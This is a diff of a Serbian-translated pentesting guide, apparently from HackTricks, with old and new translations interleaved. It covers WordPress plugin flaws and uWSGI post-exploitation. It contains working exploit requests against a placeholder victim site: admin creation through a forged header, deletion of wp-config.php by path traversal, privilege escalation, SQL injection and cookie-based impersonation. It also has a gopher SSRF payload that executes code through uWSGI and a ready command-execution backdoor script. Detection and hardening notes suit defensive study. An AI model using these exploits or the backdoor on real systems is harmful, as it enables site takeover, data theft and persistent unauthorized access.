Naravno, Wordpress koristi PHP i fajlovi unutar plugin-a su direktno dostupni sa weba. Dakle, ako plugin otkriva neku ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, biće eksploatabilna od strane bilo kog korisnika.
Naravno, Wordpress koristi PHP i fajlovi unutar pluginova su direktno dostupni sa weba. Dakle, ako neki plugin izlaže ranjivu funkcionalnost koja se aktivira samo pristupom fajlu, biće eksploatabilna od strane bilo kog korisnika.
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Neki plugin-i implementiraju “trusted header” prečice za interne integracije ili reverse proxy-je i potom koriste taj header da postave trenutni korisnički kontekst za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač ga može lažirati i pozvati privilegovane REST rute kao administrator.
Neki pluginovi implementiraju “trusted header” prečice za interne integracije ili reverse proxies i zatim koriste taj header da postave trenutni korisnički kontekst za REST zahteve. Ako header nije kriptografski vezan za zahtev od strane upstream komponente, napadač ga može falsifikovati i pristupiti privilegovanim REST rutama kao administrator.
- Uticaj: neautentifikovano eskaliranje privilegija do administratora kreiranjem novog administratora preko core users REST rute.
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forsira user ID 1, tipično prvi administratorski nalog).
- Exploited route: `POST /wp-json/wp/v2/users` sa nizom povišenih uloga.
- Uticaj: neautentifikovano eskaliranje privilegija do admina kreiranjem novog administratora putem core users REST rute.
- Primer header-a: `X-Wcpay-Platform-Checkout-User: 1` (forsira korisnički ID 1, obično prvi administratorski nalog).
- Eksploatisana ruta: `POST /wp-json/wp/v2/users` sa nizom povišenih uloga.
PoC
```http
@ -391,40 +391,40 @@ Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Zašto ovo funkcioniše
Why it works
- Plugin preslikava client-controlled header u authentication state i zaobilazi capability checks.
- WordPress core očekuje `create_users` capability za ovaj route; plugin hack ga zaobilazi tako što direktno postavlja current user context iz header-a.
- Plugin mapira header koji kontroliše klijent na stanje autentifikacije i preskače provere privilegija.
- WordPress core očekuje `create_users` capability za ovu rutu; plugin hack to zaobilazi direktnim postavljanjem konteksta trenutnog korisnika iz headera.
Očekivani indikatori uspeha
Expected success indicators
- HTTP 201 sa JSON body koji opisuje kreiranog korisnika.
- HTTP 201 sa JSON telom koje opisuje kreiranog korisnika.
- Novi admin korisnik vidljiv u `wp-admin/users.php`.
Kontrolna lista za detekciju
Detection checklist
- Grep-ujte za `getallheaders()`, `$_SERVER['HTTP_...']`, ili vendor SDK-ove koji čitaju custom headers da bi postavili user context (npr. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Pregledajte REST registracije za privileged callbacks koji nemaju robusne `permission_callback` provere i umesto toga zavise od request headers.
- Potražite upotrebe core user-management funkcija (`wp_insert_user`, `wp_create_user`) unutar REST handler-a koje su ograničene samo vrednostima header-a.
- Grep za `getallheaders()`, `$_SERVER['HTTP_...']`, ili vendor SDK-ove koji čitaju custom header-e da postave kontekst korisnika (npr. `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Pregledajte REST registracije za privilegovane callback-ove koji nemaju robusne provere `permission_callback` i umesto toga se oslanjaju na request header-e.
- Tražite upotrebu core funkcija za upravljanje korisnicima (`wp_insert_user`, `wp_create_user`) unutar REST handler-a koje su ograničene samo vrednostima header-a.
Ojačavanje bezbednosti
Hardening
- Nikada ne izvlačite authentication ili authorization iz client-controlled headers.
- Ako reverse proxy mora da ubacuje identity, završite trust na samom proxy-ju i uklonite dolazne kopije (npr. `unset X-Wcpay-Platform-Checkout-User` na edge-u), zatim prosledite signed token i verifikujte ga na server strani.
- Za REST route-ove koji izvršavaju privileged actions, zahtevajte `current_user_can()` provere i strogi `permission_callback` (ne koristite `__return_true`).
- Nikada ne izvlačite autentifikaciju ili autorizaciju iz header-a koji kontroliše klijent.
- Ako reverse proxy mora ubaciti identitet, završite poverenje na proxy-ju i uklonite ulazne kopije (npr. `unset X-Wcpay-Platform-Checkout-User` na edge-u), zatim prosledite potpisani token i verifikujte ga na serveru.
- Za REST rute koje izvršavaju privilegovane akcije, zahtevajte provere `current_user_can()` i strogi `permission_callback` (NE koristite `__return_true`).
- Preferirajte first-party auth (cookies, application passwords, OAuth) umesto header “impersonation”.
References: pogledajte linkove na kraju ove stranice za javni slučaj i širu analizu.
References: see the links at the end of this page for a public case and broader analysis.
### Neautentifikovano proizvoljno brisanje fajlova preko wp_ajax_nopriv (Litho Theme <= 3.0)
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress teme i plugin-ovi često izlažu AJAX handlers kroz `wp_ajax_` i `wp_ajax_nopriv_` hooks. Kada se koristi **_nopriv_** varijanta **callback postaje dostupan neautentifikovanim posetiocima**, pa svaka osetljiva akcija mora dodatno da implementira:
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
1. A **capability check** (npr. `current_user_can()` ili bar `is_user_logged_in()`), i
2. A **CSRF nonce** validiran sa `check_ajax_referer()` / `wp_verify_nonce()`, i
3. **Stroga sanitizacija / validacija input-a**.
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
3. **Strict input sanitisation / validation**.
Litho multipurpose tema (< 3.1) je zaboravila ta 3 kontrolna mehanizma u *Remove Font Family* funkciji i na kraju je isporučila sledeći kod (pojednostavljeno):
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -443,28 +443,26 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Problemi koje uvodi ovaj fragment koda:
* **Neautentifikovan pristup** – the `wp_ajax_nopriv_` hook je registrovan.
* **No nonce / capability check** – bilo koji posetilac može pozvati endpoint.
* **Nema sanitizacije putanje** – korisnički kontrolisana `fontfamily` string se konkatenira u filesystem putanju bez filtriranja, što omogućava klasičan `../../` traversal.
* **Neautentifikovan pristup** – hook `wp_ajax_nopriv_` je registrovan.
* **Nema provere nonce / capability** – bilo koji posetilac može pozvati endpoint.
* **Nema sanitizacije putanje** – korisnički kontrolisana `fontfamily` string je konkatenirana u fajl-sistemski put bez filtracije, omogućavajući klasičan `../../` traversal.
#### Exploitation
#### Eksploatacija
Napadač može obrisati bilo koji fajl ili direktorijum **ispod osnovnog direktorijuma uploads** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
Napadač može obrisati bilo koji fajl ili direktorijum **ispod osnovnog uploads direktorijuma** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Pošto se `wp-config.php` nalazi izvan *uploads*, četiri `../` sekvence su dovoljne na podrazumevanoj instalaciji. Brisanje `wp-config.php` primorava WordPress da pri sledećem posetu uđe u *installation wizard*, omogućavajući potpuno preuzimanje sajta (napadač samo dostavlja novu DB konfiguraciju i kreira admin nalog).
Pošto `wp-config.php` živi izvan *uploads*, četiri `../` sekvence su dovoljne za podrazumevanu instalaciju. Brisanjem `wp-config.php` WordPress se pri sledećoj poseti prisiljava da pokrene *čarobnjak za instalaciju*, što omogućava potpuno preuzimanje sajta (napadač samo obezbeđuje novu DB konfiguraciju i kreira admin korisnika).
Drugi značajni ciljevi uključuju plugin/theme `.php` fajlove (npr. da se onesposobe security plugins) ili `.htaccess` pravila.
Drugi značajni ciljevi uključuju plugin/theme `.php` fajlove (npr. da onesposobe security plugins) ili `.htaccess` pravila.
#### Kontrolna lista za detekciju
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` callback koji poziva funkcije za rad sa fajl sistemom (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
* Konkatenacija nesanitizovanih korisničkih ulaza u putanjama (potražite `$_POST`, `$_GET`, `$_REQUEST`).
* Konkatenacija nesanitizovanih korisničkih inputa u putanjama (tražite `$_POST`, `$_GET`, `$_REQUEST`).
* Nedostatak `check_ajax_referer()` i `current_user_can()`/`is_user_logged_in()`.
#### Ojačavanje
@ -492,11 +490,11 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
---
### Eskalacija privilegija putem obnavljanja zastarelih uloga i nedostatka autorizacije (ASE "View Admin as Role")
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Mnogi pluginovi implementiraju funkciju "view as role" ili privremenog prebacivanja uloge tako što čuvaju originalne uloge u user meta kako bi ih kasnije mogli vratiti. Ako put za vraćanje zavisi samo od parametara zahteva (e.g., `$_REQUEST['reset-for']`) i liste koju održava plugin, bez provere capabilities i validnog nonce-a, to postaje vertikalna eskalacija privilegija.
Mnogi pluginovi implementiraju funkciju "view as role" ili privremenu promenu role tako što čuvaju originalne role u user meta kako bi ih kasnije mogli vratiti. Ako put vraćanja zavisi samo od request parametara (npr. `$_REQUEST['reset-for']`) i liste koju održava plugin bez provere capabilities i validnog nonce-a, ovo postaje vertical privilege escalation.
Primer iz stvarnog sveta pronađen je u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Grana za resetovanje vraćala je uloge na osnovu `reset-for=<username>` ako je korisničko ime bilo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce-a pre uklanjanja trenutnih uloga i ponovnog dodavanja sačuvanih uloga iz user meta `_asenha_view_admin_as_original_roles`:
Primer iz stvarnog sveta pronađen je u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Reset grana vraćala je role na osnovu `reset-for=<username>` ako se korisničko ime pojavilo u internoj nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni nonce verifikaciju pre uklanjanja trenutnih rola i ponovnog dodavanja sačuvanih rola iz user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -511,17 +509,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Zašto se može iskoristiti
Zašto je iskoristivo
- Veruje `$_REQUEST['reset-for']` i opciji plugina bez autorizacije na serverskoj strani.
- Ako je korisnik prethodno imao više privilegija sačuvanih u `_asenha_view_admin_as_original_roles` i bio je degradiran, može ih vratiti pristupanjem reset putanji.
- U nekim deployment-ima, bilo koji autentifikovani korisnik mogao je pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (neispravna autorizacija).
- Ako je korisnik ranije imao veće privilegije sačuvane u `_asenha_view_admin_as_original_roles` i kasnije mu je smanjen nivo, može ih vratiti tako što će pozvati reset path.
- U nekim implementacijama, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (neispravna autorizacija).
Preduslovi napada
- Ranjiva verzija plugina sa uključenom funkcionalnošću.
- Ciljni nalog ima u user meta sačuvanu zastarelu ulogu visokih privilegija iz ranije upotrebe.
- Bilo koja autentifikovana sesija; nedostaje nonce/capability u reset toku.
- Ranjiva verzija plugina sa omogućenом funkcionalnošću.
- Ciljni nalog ima zastarelu ulogu sa visokim privilegijama sačuvanu u user meta iz ranije upotrebe.
- Bilo koja autentifikovana sesija; nedostaje nonce/capability u reset flow-u.
Eksploatacija (primer)
```bash
@ -531,36 +529,36 @@ Eksploatacija (primer)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Na ranjivim build-ovima ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr. `administrator`), efektivno eskalirajući privilegije.
Na ranjivim buildovima ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr. `administrator`), što dovodi do eskalacije privilegija.
Detection checklist
- Tražite funkcije za menjanje uloga koje čuvaju “original roles” u user meta (npr. `_asenha_view_admin_as_original_roles`).
- Tražite funkcije za prebacivanje uloga koje čuvaju “original roles” u user meta (npr. `_asenha_view_admin_as_original_roles`).
- Identifikujte putanje za reset/restore koje:
- Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`.
- Menjaju uloge pomoću `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizuju na osnovu niza opcija plugina (npr. `viewing_admin_as_role_are`) umesto na osnovu capabilities aktera.
- Menjaju uloge preko `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizuju se na osnovu plugin option niza (npr. `viewing_admin_as_role_are`) umesto na osnovu capabilities izvršioca.
Hardening
- Sprovodite provere capabilities na svakom ogranku koji menja stanje (npr. `current_user_can('manage_options')` ili strože).
- Zahtevajte nonces za sve mutacije uloga/permisa i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
- Nikada ne verujte korisničkim imenima iz zahteva; odredite ciljnog korisnika na serverskoj strani na osnovu autentifikovanog aktera i jasne politike.
- Invalidirajte stanje “original roles” prilikom ažuriranja profila/uloga kako biste izbegli vraćanje zastarelih visokoprivilegovanih uloga:
- Obavezno proveravajte capabilities za svaki deo koda koji menja stanje (npr. `current_user_can('manage_options')` ili strože).
- Zahtevajte nonces za sve izmene uloga/dozvola i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
- Nikad ne verujte korisničkim imenima poslatim u requestu; razrešite ciljног korisnika server-side na osnovu autentifikovanog aktera i eksplicitne politike.
- Poništite stanje “original roles” pri ažuriranju profila/uloga kako biste izbegli vraćanje zastarelih visokoprivilegovanih uloga:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Razmotrite skladištenje minimalnog stanja i korišćenje vremenski ograničenih tokena zaštićenih capability-jem za privremene promene uloga.
- Razmislite o čuvanju minimalnog stanja i korišćenju vremenski ograničenih tokena, zaštićenih pomoću capability, za privremene promene uloga.
---
### Nepotvrđena eskalacija privilegija putem cookie‑pouzdanog prebacivanja korisnika na javnom init (Service Finder “sf-booking”)
### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)
Neki pluginovi povezuju pomoćnike za prebacivanje korisnika na javni `init` hook i određuju identitet iz kolačića koji kontroliše klijent. Ako kod pozove `wp_set_auth_cookie()` bez provere autentikacije, capability-ja i važećeg nonce-a, bilo koji neautentifikovani posetilac može prisiliti prijavu kao proizvoljan ID korisnika.
Neki plugins povezuju user-switching helper-e na javni `init` hook i izvlače identitet iz client-controlled cookie-ja. Ako kod pozove `wp_set_auth_cookie()` bez provere authentication, capability i validnog nonce-a, bilo koji neautentifikovani posetilac može prisilno da se uloguje kao proizvoljan user ID.
Tipičan ranjiv obrazac (pojednostavljeno iz Service Finder Bookings ≤ 6.1):
Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):
```php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
@ -589,13 +587,13 @@ wp_die('Original user not found.');
wp_die('No original user found to switch back to.');
}
```
Zašto je eksploatabilno
Zašto je moguće iskoristiti
- Javni `init` hook чини handler доступним неаутентификованим корисницима (нема `is_user_logged_in()` заштите).
- Идентитет се изводи из клијентски изменљивог cookie-ja (`original_user_id`).
- Директан позив `wp_set_auth_cookie($uid)` пријављује подносиоца захтева као тог корисника без било каквих capability/nonce провера.
- Javni `init` hook čini handler dostupnim neautentifikovanim korisnicima (nema provere `is_user_logged_in()`).
- Identitet se izvodi iz kolačića koji klijent može menjati (`original_user_id`).
- Direktan poziv `wp_set_auth_cookie($uid)` prijavljuje zahtevaoca kao tog korisnika bez provera capability/nonce.
Експлоатација (без аутентификације)
Eksploatacija (bez autentifikacije)
```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
@ -605,34 +603,34 @@ Connection: close
```
---
### WAF considerations for WordPress/plugin CVEs
### Razmatranja WAF-a za WordPress/plugin CVE-ove
Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge ranjivosti visokog uticaja u WordPress/plugin su specifične za aplikaciju — greške u logici/autorizaciji koje liče na benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugin‑ova.
Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge visokorizične WordPress/plugin ranjivosti su greške specifične za aplikacionu logiku ili autorizaciju koje izgledaju kao benigni saobraćaj, osim ako mehanizam ne razume WordPress rute i semantiku plugina.
Offensive notes
Ofanzivne napomene
- Ciljajte krajnje tačke specifične za plugin sa čistim payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Prvo testirajte neautentifikovane putanje (AJAX `nopriv`, REST sa permisivnim `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuscation.
- Tipični slučajevi visokog uticaja: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
- Ciljajte endpoint-e specifične za plugin sa čistim payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Prvo testirajte neautentifikovane puteve (AJAX `nopriv`, REST sa permisivnim `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuskacije.
- Tipični slučajevi visokog uticaja: eskalacija privilegija (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
Odbrambene napomene
- Ne oslanjajte se na generičke WAF potpise za zaštitu plugin CVEs. Implementirajte zakrpe na nivou aplikacije specifične za ranjivost (virtual patches) ili brzo ažurirajte.
- Preferirajte pozitivne sigurnosne provere u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.
- Nemojte se oslanjati na generičke WAF potpise da štite plugin CVE-ove. Implementirajte application-layer, vulnerability-specific virtual patches ili ažurirajte brzo.
- Preferirajte positive-security provere u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.
## WordPress Protection
## Zaštita WordPress-a
### Regular Updates
### Redovna ažuriranja
Proverite da li su WordPress, plugins i themes ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
Uverite se da su WordPress, plugins, i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Takođe, **instalirajte samo pouzdane WordPress pluginove i teme**.
Takođe, **instalirajte samo pouzdane WordPress plugine i teme**.
### Security Plugins
### Sigurnosni dodaci
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
@ -643,13 +641,13 @@ Takođe, **instalirajte samo pouzdane WordPress pluginove i teme**.
- Uklonite podrazumevanog **admin** korisnika
- Koristite **jake lozinke** i **2FA**
- Periodično **pregledajte** **dozvole** korisnika
- **Ograničite pokušaje prijave** kako biste sprečili Brute Force napade
- Preimenujte **`wp-admin.php`** fajl i dozvolite pristup samo interno ili sa određenih IP adresa.
- **Ograničite pokušaje prijave** da sprečite Brute Force napade
- Preimenujte fajl **`wp-admin.php`** i dozvolite pristup samo interno ili sa određenih IP adresa.
### Neautentifikovana SQL Injection usled nedovoljne validacije (WP Job Portal <= 2.3.2)
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
WP Job Portal recruitment plugin je izložio zadatak **savecategory** koji na kraju izvršava sledeći ranjivi kod u `modules/category/model.php::validateFormData()`:
WP Job Portal recruitment plugin izložio je zadatak **savecategory** koji na kraju izvršava sledeći ranjivi kod unutar `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -659,15 +657,15 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Issues introduced by this snippet:
Problemi uvedeni ovim isječkom:
1. **Nesanitizovan korisnički unos** – `parentid` dolazi direktno iz HTTP zahteva.
2. **Spajanje stringova unutar WHERE klauzule** – nema `is_numeric()` / `esc_sql()` / prepared statement.
3. **Dostupno bez autentifikacije** – iako se akcija izvršava preko `admin-post.php`, jedina provera je **CSRF nonce** (`wp_verify_nonce()`), koji bilo koji posetilac može dohvatiti sa javne stranice koja ubacuje shortcode `[wpjobportal_my_resumes]`.
2. **Konkatenacija stringova u WHERE klauzuli** – nema `is_numeric()` / `esc_sql()` / prepared statement.
3. **Mogućnost pristupa bez autentikacije** – iako se akcija izvršava preko `admin-post.php`, jedina provera je **CSRF nonce** (`wp_verify_nonce()`), koju bilo koji posetilac može preuzeti sa javne stranice koja sadrži shortcode `[wpjobportal_my_resumes]`.
#### Eksploatacija
1. Uzmite novi nonce:
1. Preuzmite svež nonce:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
@ -682,15 +680,15 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, dokazujući SQLi.
### Neautentifikovano preuzimanje proizvoljnog fajla / Path Traversal (WP Job Portal <= 2.3.2)
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Još jedan zadatak, **downloadcustomfile**, dozvoljavao je posetiocima da preuzmu **bilo koji fajl na disku** putem Path Traversal-a. Ranjiva sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
Još jedan zadatak, **downloadcustomfile**, omogućavao je posetiocima da preuzmu **bilo koju datoteku na disku** putem path traversal. Ranjivi sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` je pod kontrolom napadača i konkateniran **bez sanitizacije**. Ponovo, jedina barijera je **CSRF nonce** koji se može dobiti sa stranice rezimea.
`$file_name` je kontrolisan od strane napadača i spojen **bez sanitizacije**. Opet, jedino ograničenje je **CSRF nonce** koji se može dobiti sa stranice rezimea.
#### Exploitation
```bash

169
src/network-services-pentesting/pentesting-web/wsgi.md Normal file
View File

@ -0,0 +1,169 @@
# WSGI trikovi za post-eksploataciju
{{#include ../../banners/hacktricks-training.md}}
## Pregled WSGI
Web Server Gateway Interface (WSGI) je specifikacija koja opisuje kako web server komunicira sa web aplikacijama i kako se web aplikacije mogu povezivati da obrade jedan zahtev. uWSGI je jedan od najpopularnijih WSGI servera, često korišćen za serviranje Python web aplikacija.
## Eksploatacija uWSGI magičnih varijabli
uWSGI pruža specijalne "magic variables" koje se mogu koristiti za dinamičku konfiguraciju ponašanja servera. Ove varijable se mogu postaviti preko HTTP headera i mogu dovesti do ozbiljnih sigurnosnih ranjivosti ako nisu pravilno validirane.
### Ključne iskorišćive varijable
#### `UWSGI_FILE` - Izvršavanje proizvoljnog fajla
```
uwsgi_param UWSGI_FILE /path/to/python/file.py;
```
Ova promenljiva omogućava učitavanje i izvršavanje proizvoljnih Python fajlova kao WSGI aplikacija. Ako napadač može da kontroliše ovaj parametar, može postići Remote Code Execution (RCE).
#### `UWSGI_SCRIPT` - Učitavanje skripti
```
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
```
Učitava navedeni skript kao novu aplikaciju. U kombinaciji sa file upload-om ili write capabilities, ovo može dovesti do RCE.
#### `UWSGI_MODULE` and `UWSGI_CALLABLE` - Dinamičko učitavanje modula
```
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
```
Ovi parametri omogućavaju učitavanje proizvoljnih Python modula i pozivanje specifičnih funkcija unutar njih.
#### `UWSGI_SETENV` - Manipulacija varijabli okruženja
```
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
```
Može se koristiti za izmenu environment variables, što može potencijalno uticati na ponašanje aplikacije ili dovesti do učitavanja zlonamerne konfiguracije.
#### `UWSGI_PYHOME` - Python Environment Manipulation
```
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
```
Menja Python virtuelno okruženje, potencijalno učitavajući maliciozne pakete ili druge Python interpretere.
#### `UWSGI_CHDIR` - Directory Traversal
```
uwsgi_param UWSGI_CHDIR /etc/;
```
Menja radni direktorijum pre obrade zahteva, što se može iskoristiti za path traversal attacks.
## SSRF + Gopher to
### The Attack Vector
Kada je uWSGI dostupan preko SSRF (Server-Side Request Forgery), napadači mogu komunicirati sa internim uWSGI socket-om kako bi iskoristili magijske promenljive. Ovo je naročito opasno kada:
1. Aplikacija ima SSRF ranjivosti
2. uWSGI radi na internom portu/socket-u
3. Aplikacija ne validira magijske promenljive ispravno
uWSGI je dostupan zbog SSRF jer konfiguracioni fajl `uwsgi.ini` sadrži: `socket = 127.0.0.1:5000`, što ga čini dostupnim iz web aplikacije putem SSRF.
### Exploitation Example
#### Korak 1: Kreirajte zlonamerni payload
Prvo, injektujte Python kod u fajl kojem server može pristupiti (upis fajla unutar servera, ekstenzija fajla nije bitna):
```python
# Payload injected into a JSON profile file
import os
os.system("/readflag > /app/profiles/result.json")
```
#### Korak 2: Sastavite uWSGI protokol zahtev
Koristite Gopher protokol da pošaljete raw uWSGI pakete:
```
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
```
Ovaj payload:
- Povezuje se na uWSGI na portu 5000
- Postavlja `UWSGI_FILE` da pokazuje na zlonamerni fajl
- Prisiljava uWSGI da učita i izvrši Python kod
### Struktura uWSGI protokola
uWSGI protokol koristi binarni format gde:
- Varijable se kodiraju kao stringovi prefiksirani dužinom
- Svaka varijabla sadrži: `[name_length][name][value_length][value]`
- Paket počinje zaglavljem koje sadrži ukupnu veličinu
## Post-Exploitation Techniques
### 1. Persistent Backdoors
#### File-based Backdoor
```python
# backdoor.py
import subprocess
import base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = "Backdoor active"
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
```
Zatim upotrebite `UWSGI_FILE` da učitate ovaj backdoor:
```
uwsgi_param UWSGI_FILE /tmp/backdoor.py;
uwsgi_param SCRIPT_NAME /admin;
```
#### Perzistencija zasnovana na okruženju
```
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.8/site-packages;
```
### 2. Otkrivanje informacija
#### Ispis promenljivih okruženja
```python
# env_dump.py
import os
import json
def application(environ, start_response):
env_data = {
'os_environ': dict(os.environ),
'wsgi_environ': dict(environ)
}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
```
#### Pristup datotečnom sistemu
Koristite `UWSGI_CHDIR` u kombinaciji sa serviranjem fajlova da pristupite osetljivim fajlovima:
```
uwsgi_param UWSGI_CHDIR /etc/;
uwsgi_param UWSGI_FILE /app/file_server.py;
```
### 3. Privilege Escalation
#### Socket Manipulation
Ako uWSGI radi sa povišenim privilegijama, napadači mogu manipulisati dozvolama socket-a:
```
uwsgi_param UWSGI_CHDIR /tmp;
uwsgi_param UWSGI_SETENV UWSGI_SOCKET_OWNER=www-data;
```
#### Prepisivanje konfiguracije
```python
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
```
## Reference
- [Dokumentacija uWSGI Magic Variables](https://uwsgi-docs.readthedocs.io/en/latest/Vars.html)
- [IOI SaveData CTF Writeup](https://bugculture.io/writeups/web/ioi-savedata)
- [Najbolje sigurnosne prakse za uWSGI](https://uwsgi-docs.readthedocs.io/en/latest/Security.html)
{{#include ../../banners/hacktricks-training.md}}

164
src/pentesting-web/cache-deception/README.md
View File

@ -4,73 +4,73 @@
## Razlika
> **Koja je razlika između web cache poisoning i web cache deception?**
> **What is the difference between web cache poisoning and web cache deception?**
>
> - Kod **web cache poisoning**, napadač navodi aplikaciju da sačuva zlonamerni sadržaj u kešu, i taj sadržaj se iz keša poslužuje drugim korisnicima aplikacije.
> - Kod **web cache deception**, napadač navodi aplikaciju da sačuva osetljivi sadržaj koji pripada nekom drugom korisniku u kešu, a zatim napadač povlači taj sadržaj iz keša.
> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
## Cache Poisoning
